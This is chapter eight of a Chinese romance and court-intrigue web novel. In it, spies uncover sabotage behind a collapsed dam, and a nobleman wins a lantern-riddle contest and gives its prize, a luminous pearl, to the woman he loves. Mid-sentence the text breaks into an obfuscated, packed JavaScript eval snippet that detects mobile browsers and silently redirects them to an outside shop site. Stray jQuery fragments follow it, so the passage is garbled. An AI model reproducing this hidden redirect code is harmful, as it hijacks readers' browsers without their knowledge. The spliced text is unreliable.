8. 第八章
    半个月前,江南定州下起暴雨,一处刚竣工的堤坝坍塌,洪水泛滥,河下民户的屋舍皆被摧毁,所幸百姓撤退及时,伤亡人数不多。

    防洪堤坝的修建一向严谨,这次定州的堤坝更是新修造,不存在年久失修的因素,堤坝坍塌的消息一经传回京城,朝堂上的沈淮立即下旨派大理寺卿前往定州查勘。

    与此同时,宋少衍的暗卫紧随其后,早在大理寺卿到来前在定州进行秘密调查,大理寺卿到时暗卫已返回京城。

    “堤坝的坍塌处明眼一看就是因为石材不坚固,但从一些散落的石块看来却是两种不同的材质。”

    宋少衍说完走到窗处敲了两声,便有一个黑影跃了进来。

    宋一进来后向宋少衍和沈淮行礼,随后掏出两块石头放在桌上:“这是从堤坝处取来的,一好一次两种石材,这两种石材虽然不一样,坚固度却是不差的,按理来说也是可以抗住一定时期的压力,不可能一次洪水便承受不住而坍塌。”

    宋少衍把桌上的石块推过给沈淮:“宋一宋二察觉有人后潜伏在暗中观察,发现了李瑜,但他貌似只是带人到那处观察了一番就离开了。”

    宋一接着道:“我们追上他后查到他之前差了一波人去堤坝处搬运石块,正是堤坝坍塌后不久,我们循着线索去找,发现了和堤坝一样的上等石块被丢弃在一处废宅。”

    所以堤坝坍塌并非定州知府贪污,偷工减料,而是人为摧毁,有人偷梁换柱。

    宋一把画有宅子的图纸递给沈淮。

    “可查到这处宅子是谁的?”沈淮摩挲着手上的图纸,看向宋一。

    “并未,这处宅子似乎荒废已久,要查出来还需要些时日。”宋一低着头回答。

    “在没查到前先看着定州知府,恐怕有人要灭口。”沈淮淡声道。

    宋一应了声随后就在宋少衍的吩咐下从窗子又跃出去了。

    沈淮看向宋少衍:“恐怕还需要你的暗卫再帮朕一段时日了。”宋流月有了身孕,需得快点解决太后那边的麻烦事。

    “应该的,也希望皇上不要忘记答应微臣的事。”宋少衍眉眼淡淡,丝毫不畏惧沈淮。

    玉醉楼下人声鼎沸,琳琅满目的花灯悬挂半空,每个花灯下都垂着上好的宣纸灯谜,只是都未揭示,需得上台者一一揭开挑战。

    “我们玉醉楼的灯谜会专为有情人准备,灯谜的彩头与往年不同,今年的需拔得头筹者亲自展示。”台上的说书先生抚着花白的胡子用着一贯设悬的语调勾着台下的人好奇心。

    随后说书先生示意身旁几个粗壮的小厮把彩头搬上来,置于中间,红楠木桌上放着一个黑檀木盒子,赫然就是灯谜会的彩头。

    “不暗示一下里面到底是什么东西,那我们怎么知道这个彩头好不好?”台下的一位客官说道。

    “就是啊,万一彩头一般,那岂不是白白调我们胃口?”另一个喝的醉醺醺的猛汉也附和着。

    “都嚷嚷啥呀,玉醉楼哪回不是上等的宝贝啊,行了,胃口吊够了就开始吧。”有人不耐烦了就拍着桌子说道。

    虽说玉醉楼每回的彩头都价值不凡,但如今还是第一次没有开场就展示彩头,这到底得是什么宝贝?

    不过这些在台下叫着的人一般都不会去挑战,年纪大了就是图个热闹。

    说书先生看着台下的人你一言我一语的让他给点提示,眯着眼笑笑,也不卖关子了:“各位客官想要知道,就尽管上台挑战即可。”

    雅间里宋流月看着那个说书先生神秘兮兮的样子,转头问时锦夕:“阿锦,你可好奇那个彩头到底是何方宝贝?”

    时锦夕听着说书先生的话也有些被勾起了好奇心,温软的眉眼看着宋流月点了点头:“有些好奇,许是玉醉楼新陶到的稀罕宝贝。”

    听说玉醉楼每年灯会都会有从西域带回的宝贝,会挑一件作为灯谜的彩头。

    “那我们就看看最后是谁拔得头筹,赢下这个稀罕宝贝。”宋流月把窗子开得更大些,方便看得更清楚。

    雅间的窗子打开后只能从里面看外面,外面看不见里面,很好地保护了贵客需要的私密性,也为了方便贵客更好得听台上的说书和看戏曲,如今也好观看台上的灯谜会。

    一向爱凑热闹的宋流月此时只是乖乖从窗子看着台上的热闹,方才时锦夕还以为她要下去凑凑这场热闹呢。

    时锦夕和宋流月现在的雅间是原本宋少衍订的那间,屋里更雅致些,也宽敞许多。

    宋少衍和沈淮推门进来时,两人都在专心致志地看着台下,沈淮走过去把宋流月拥进怀里,宋流月也不挣扎乖乖窝在他怀里。

    宋少衍手里拿着方才用膳时时锦夕脱下的浅粉色斗篷,走过去给她披上,系好结子,屋里还有人,时锦夕感觉脸上有些热意,不太敢看着宋少衍的眼睛。

    宋少衍系好结子,微微弯下腰温柔地看着时锦夕:“阿锦,想不想看灯谜的彩头?”

    时锦夕看着他带着缱绻的眼神有些走神,回过神时自己已经被宋少衍牵着手走下了楼。

    宋少衍找了个僻静的位置让时锦夕坐下:“阿锦,在这等我。”舟竹也留下来待在时锦夕身边守着。

    时锦夕看着宋少衍和几个书生模样的男子一起走到说书先生那处,双手接过挑战木牌和狼毫,走上第一级阶梯。

    花灯呈阶行排列,回环起复,所有花灯围起来恰是一个巨大的花灯,只是花灯都未亮起。

    答对一题才可上一阶,答错一题便下一阶,同时难度也下降,越往上的花灯越繁复精美,谜语也越难。

    彩头以最终得分高着胜得,灯谜的难度越大,挑战者所获的分越高,反之亦然。

    每个花灯处都有一个侍女,为他们揭下灯谜的幕纱,此时宋少衍的花灯处的灯谜写的是“双木非林,田下有心,耳边有水——打三个字。”

    宋少衍在灯谜的宣纸上用狼毫写下“相思汝”,由侍女核认正确后再走上一阶。

    倒数第二阶上,除宋少衍外还有一个面容眉清目秀的男子,男子礼貌向宋少衍拱了下手:“这位公子莫非也是为自家娘子来讨彩头的?”

    听到“娘子”,宋少衍也向他回礼温声道:“并非,是想讨意中人欢心。”

    两人寒暄几句就让侍女揭下幕纱,宣纸上的灯谜这次是“窈窕淑女——打二中药名”

    男子见状实在答不出只好退下一阶,宋少衍则提笔写下“使君子、一见喜。”

    宋少衍继续走上最后一级阶梯,也到了最后一个花灯处。

    台下的人都不再看其他正在猜灯谜的人了,都在看着站在最高一阶的宋少衍,宋少衍一袭白衣,面容清润如玉,只袖口处不小

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13716830|144773||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    心沾了些黑色的墨水。

    最后一个灯谜的幕纱被揭下:“何火无烟?——打一昆虫”

    “世上哪有不冒烟的火,除非是皇上用的瑞炭,但虫子身上哪来的火?”有男子疑惑的说。

    “是啊,总不能是飞蛾吧,飞蛾扑火,哈哈哈哈。”话一出,许多人都跟着笑。

    时锦夕看着宋少衍的背影,心道:“怎会没有,夜中的流萤便是。”

    与此同时,宋少衍也在宣纸上写下“流萤”二字。

    玉醉楼的花灯便彻底被点亮了,阶梯被花灯的灯火掩映,巨大的花灯便由大大小小的花灯簇拥而成,散出流光溢满玉醉楼。

    宋少衍站在最高处一眼望到台下的时锦夕,对她温柔一笑,缱绻的眼里全映着她一人,似乎是在说,我点玉醉楼满灯为讨你一笑。

    双月桥下,宋少衍知道时锦夕不高兴了,阿锦不高兴了,肯定是自己做得不够好,那自己就再做得好些。

    时锦夕看着宋少衍,心跳得莫名快了很多,与他对视了会儿就抵不住的垂下眼,心脏杂乱的跳动在有声的诉说着欢喜。

    姜姜和紫苏在进入玉醉楼时一眼就被眼前的花灯惊住了,随后在人群中四处观望终于看到了暗处的时锦夕和她身后的舟竹。

    “小姐,玉醉楼今年的花灯可真好看。”姜姜在时锦夕身旁小声激动的说,紫苏也满脸笑意。

    场下的人都急着要看彩头了,都催着说书先生上台。

    “恭喜这位公子成功点亮我们玉醉楼今年的醉花灯,彩头早已为公子备下。”说书先生走到红楠木桌前,示意一旁的侍女将黑檀木盒打开。

    侍女小心地将木盒打开,盒内顶上满满映着白光,随后侍女按下盒右侧暗扣,盒中的宝贝缓缓上移。

    硕大的夜明珠被包裹在软锦中,散发着柔和的光线,如圆盘月般的夜明珠照亮了整个黑楠木盒。

    “玉醉楼今年真是大手笔啊,这么大的夜明珠。”

    “这等成色的夜明珠我还是第一次见,玉醉楼可真是深藏不露啊。”

    听着台下人的惊叹声,说书先生极为受用,抚着花白的短胡子眯着眼笑,转头看到宋少衍淡漠的眼神立马收了笑,让侍女把彩头收好递给宋少衍。

    雅间里宋流月窝在沈淮怀里,看着宋少衍捧着黑檀木盒走向时锦夕,纤细的手指戳了戳沈淮的手掌,“真希望阿锦可以快点和阿衍成亲。”

    沈淮包住她乱动的小手,用斗篷的兜帽兜住她红润的脸,随后起身抱起她,淡淡的道:“用不着你操心,回宫吧。”

    夜深风寒,舟竹牵来了马车,让宋少衍和时锦夕坐上去。

    马车里有提前烫好的汤婆子,宋少衍把两个汤婆子都放在时锦夕手里,生怕怕她冷。

    马车里的温度并不低,上好的金丝炭在火炉中满满燃烧,脚底下还铺着黑熊皮绒毯。

    宋少衍把黑檀木盒置于桌案上,将夜明珠升起。

    光线越暗的地方,夜明珠所散发的光越亮,马车里还算亮堂,夜明珠发出的光线带着昏黄感,近看起来别有一番美,若要托举起它,需得双手合握。

    宋少衍眉眼如画,眼里满是郑重和欢喜,看着时锦夕温声唤她:“阿锦。”

    时锦夕柔声应道,随后抬起眉眼看他。

    “以明珠想赠,我求意中人。”